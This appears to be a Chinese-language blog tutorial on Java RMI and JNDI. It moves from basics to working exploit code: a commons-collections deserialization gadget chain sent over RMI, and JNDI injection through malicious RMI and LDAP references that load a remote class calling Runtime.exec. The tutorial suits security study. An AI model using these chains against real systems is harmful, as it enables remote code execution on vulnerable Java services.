Java基础之RMI与JDNI机制

发布时间 2023-04-10 18:22:03作者: 夏尔_717

一、RMI

1.1 概念

RMI是用JavaJDK1.2中实现的,它大大增强了Java开发分布式应用的能力,Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议
JRMPJava Remote Message ProtocolJava远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范

RMIRemote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,RMI体系结构是基于一个非常重要的行为定义行为实现相分离的原则。RMI允许定义行为的代码和实现行为的代码相分离,并且运行在不同的JVM上。
不同于socket,RMI中分为三大部分:ServerClientRegistry

  • Server:提供远程的对象
  • Client:调用远程的对象
  • Registry:一个注册表,存放着远程对象的位置(ip、端口、标识符)

RMI体系结构分以下几层:

  • 存根和骨架层(Stub and Skeleton layer):这一层对程序员是透明的,它主要负责拦截客户端发出的方法调用请求,然后把请求重定向给远程的RMI服务。
  • 远程引用层(Remote Reference Layer):RMI体系结构的第二层用来解析客户端对服务端远程对象的引用。这一层解析并管理客户端对服务端远程对象的引用。连接是点到点的。
  • 传输层(Transport layer):这一层负责连接参与服务的两个JVM。这一层是建立在网络上机器间的TCP/IP连接之上的。它提供了基本的连接服务,还有一些防火墙穿透策略

1.2 基础运用

RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口

1.2.1 定义一个远程的接口

public interface RmiDemo extends Remote {
    public String hello() throws RemoteException;
}

在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常

1.2.2 编写一个远程接口的实现类

在编写该实现类中需要将该类继承UnicastRemoteObject

public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo {

    protected RemoteHelloWorld() throws RemoteException {
        System.out.println("构造方法");
    }

    public String hello() throws RemoteException {
        System.out.println("hello方法被调用");
        return "hello,world";
    }
}

1.2.3 创建服务器实例

创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中

public class Servlet {
    public static void main(String[] args) throws RemoteException {
        Rmidemo hello = new RemoteHelloWorld();//创建远程对象
        Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
        registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello
    }
}

到了这一步,简单的RMI服务端的代码就写好了

1.2.4 编写客户端并且调用远程对象

public class ClientDemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
        // 利用注册表的代理去查询远程注册表中名为hello的对象
        Rmidemo hello = (Rmidemo) registry.lookup("hello");
        // 调用远程方法
        System.out.println(hello.hello());
    }
}

在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化

1.3 RMI反序列化攻击

需要使用到RMI进行反序列化攻击需要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链
这里对上面得代码做一个简单的改写

1.3.1 定义远程接口

需要定义一个object类型的参数方法

public interface User extends Remote {

    String hello(String hello) throws RemoteException;

    void work(Object obj) throws RemoteException;

    void say() throws RemoteException;
}

1.3.2 远程接口实现

public class UserImpl extends UnicastRemoteObject implements User {
    
    protected UserImpl() throws RemoteException {
    }
    
    protected UserImpl(int port) throws RemoteException {
        super(port);
    }
    
    protected UserImpl(int port, RMIClientSocketFactory csf,
                       RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }

    public String hello(String hello) throws RemoteException {
        return "hello";
    }
    
    public void work(Object obj) throws RemoteException {
        System.out.println("work被调用了");
    }
    
    public void say() throws RemoteException {
        System.out.println("say");
    }
}

1.3.3 服务器

public class Server {
    public static void main(String[] args) throws RemoteException {
        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("user", user);
        System.out.println("rmi running....");
    }
}

1.3.4 客户端

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);

        userClient.work(getPayLoad());
    }
    
    public static Object getPayLoad() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map<String, String> map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }
}

执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行

1.4 Transformer类说明

1.4.1 Transformer

commons-collections下面的类Transformer是个接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到Transformer接口只有一个transform方法,之后所有继承该接口的类都需要实现这个方法。

官方文档的意思:大致意思就是会将传入的object进行转换,然后返回转换后的object。还是有点抽象,不过没关系,先放着接下来再根据继承该接口的类进行具体分析。

Transformer有几个实现类:

  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer

1.4.2 ConstantTransformer

ConstantTransformer类当中的transform方法就是将初始化时传入的对象返回
部分源码:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

public Object transform(Object input) {
    return this.iConstant;
}

1.4.3 InvokerTransformer

InvokerTransformer部分源码:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName
                    + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName 
                    + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName
                    + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

InvokerTransformer类的构造函数传入三个参数——方法名参数类型数组参数数组。在transform方法中通过反射机制调用传入某个类的方法,而调用的方法及其所需要的参数都在构造函数中进行了赋值,最终返回该方法的执行结果

1.4.4 ChainedTransformer

ChainedTransformer部分源码:

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

ChainedTransformer类利用之前构造方法传入的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果传入下一次循环的transform方法中。

那么这样我们可以利用ChainedTransformerConstantTransformerInvokerTransformertransform方法串起来。通过ConstantTransformer返回某个类,交给InvokerTransformer去调用类中的某个方法。

1.4.5 TrandsformedMap

TrandsformedMap部分源码:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

TransformedMapdecorate方法根据传入的参数重新实例化一个TransformedMap对象,再看put方法的源码,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,从而启动整个链子

1.5 代码中说明

1.5.1 Transformer类说明

String[] execArgs = new String[]{"open -a Calculator"};

final Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ),
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer("exec",
                new Class[]{String.class}, execArgs),
};

上面的代码翻译一下正常的反射代码一下:

((Runtime) Runtime.class.
        getMethod("getRuntime", null).
        invoke(null, null)).
        exec("open -a Calculator");

1.5.2 TransformedMap类说明

其中TransformedMap根据上门的部分源码可知会自动调用Transformer内部方法

TransformedMap可以用来对Map进行某种变换,底层原理实际上是使用传入的Transformer进行转换。

Transformer transformer = new ConstantTransformer("程序通事");

Map<String, String> testMap = new HashMap<>();
testMap.put("a", "A");
// 只对 value 进行转换
Map decorate = TransformedMap.decorate(testMap, null, transformer);
// put 方法将会触发调用 Transformer 内部方法
decorate.put("b", "B");

for (Object entry : decorate.entrySet()) {
    Map.Entry temp = (Map.Entry) entry;
    if (temp.getKey().equals("a")) {
        // Map.Entry setValue也会触发Transformer内部方法
        temp.setValue("AAA");
    }
}
System.out.println(decorate);

只要调用TransformedMapput方法,或者调用Map.EntrysetValue方法就可以触发我们设置的ChainedTransformer,从而触发Runtime执行外部命令,因此输出结果为:

{b=程序通事, a=程序通事}

1.5.3 AnnotationInvocationHandler类说明

上文中我们知道了,只要调用TransformedMapput方法,或者调用Map.EntrysetValue方法就可以触发我们设置的ChainedTransformer,从而触发Runtime执行外部命令。

现在我们就需要找到一个可序列化的类,这个类正好实现了readObject,且正好可以调用Map put的方法或者调用Map.EntrysetValue

Java中有一个类sun.reflect.annotation.AnnotationInvocationHandler,正好满足上述的条件。这个类构造函数可以设置一个Map变量,这下刚好可以把上面的TransformedMap设置进去。

但是,这个类没有public修饰符,默认只有同一个包才可以使用

不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例。

示例代码如下:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 随便使用一个注解
Object instance = ctor.newInstance(Target.class, exMap);

二、JNDI

2.1 概念

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务命名服务的一种自然扩展
命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

JNDI可访问的现有的目录及服务有:
DNSXNamNovell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS

以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务对象名称联系在了一起,并且可以通过它们指定的名称找到相应的对象

2.2 结构

Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类;
  • javax.naming.event:在命名目录服务器中请求事件通知;
  • javax.naming.ldap:提供LDAP支持;
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

2.2.1 InitialContext类

构造方法:

InitialContext():构建一个初始上下文。
InitialContext(boolean lazy):构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment):使用提供的环境构建初始上下文

常用方法:

  • bind(Name name, Object obj):将名称绑定到对象
  • list(String name):枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
  • lookup(String name):检索命名对象
  • rebind(String name, Object obj):将名称绑定到对象,覆盖任何现有绑定
  • unbind(String name):取消绑定命名对象

示例如下:

public class Jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

2.2.2 Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能

构造方法:

Reference(String className)为类名为className的对象构造一个新的引用。
Reference(String className, RefAddr addr)为类名为className的对象和地址构造一个新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)为类名为className的对象,对象工厂的类名和位置以及对象的地址构造一个新引用
Reference(String className, String factory, String factoryLocation)为类名为className的对象以及对象工厂的类名和位置构造一个新引用。

示例:

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr):将地址添加到索引posn的地址列表中。
void add(RefAddr addr):将地址添加到地址列表的末尾。
void clear():从此引用中删除所有地址。
RefAddr get(int posn):检索索引posn上的地址。
RefAddr get(String addrType):检索地址类型为addrType的第一个地址。
Enumeration<RefAddr> getAll():检索本参考文献中地址的列举。
String getClassName():检索引用引用的对象的类名。
String getFactoryClassLocation():检索此引用引用的对象的工厂位置。
String getFactoryClassName():检索此引用引用对象的工厂的类名。
Object remove(int posn)从地址列表中删除索引posn上的地址。
int size():检索此引用中的地址数。
String toString():生成此引用的字符串表示形式

代码示例:

public class Jndi {
    public static void main(String[] args) throws NamingException,
            RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,其原因是查看Reference就可以知道原因,查看到Reference,并没有继承Remote接口也没有继承UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用 ReferenceWrapper将他给封装一下

2.3 JNDI注入攻击

public class Jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象
    }
}

在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击

2.4 JNDI注入+RMI实现攻击

2.4.1 RMIServer代码

public class Server {
    public static void main(String[] args) throws RemoteException,
            NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080/";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

2.4.2 RMIClient代码

public class Client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        //新版jdk8u以上 不加这句话报错 The object factory is untrusted. 
        //Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

下面还需要一段执行命令的代码,挂载在web页面上让server端去请求

public class Test {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

使用javac命令,将该类编译成class文件挂载在web页面上。

原理其实就是把恶意的Reference类,绑定在RMIRegistry里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行

2.5 JNDI注入+LDAP实现攻击

LDAP概念:LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息

有了前面的案例后,再来看这个其实也比较简单,之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。

示例如下:

2.5.1 server端

public class Demo {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
        String[] strs = new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(strs[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
                throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, 
                    this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

2.5.2 编写一个client客户端

public class clientDemo {
    public static void main(String[] args) throws NamingException {
        Object object = new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
    }
}

编写一个远程恶意类,并将其编译成class文件,放置web页面中。

public class test{
    public test() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}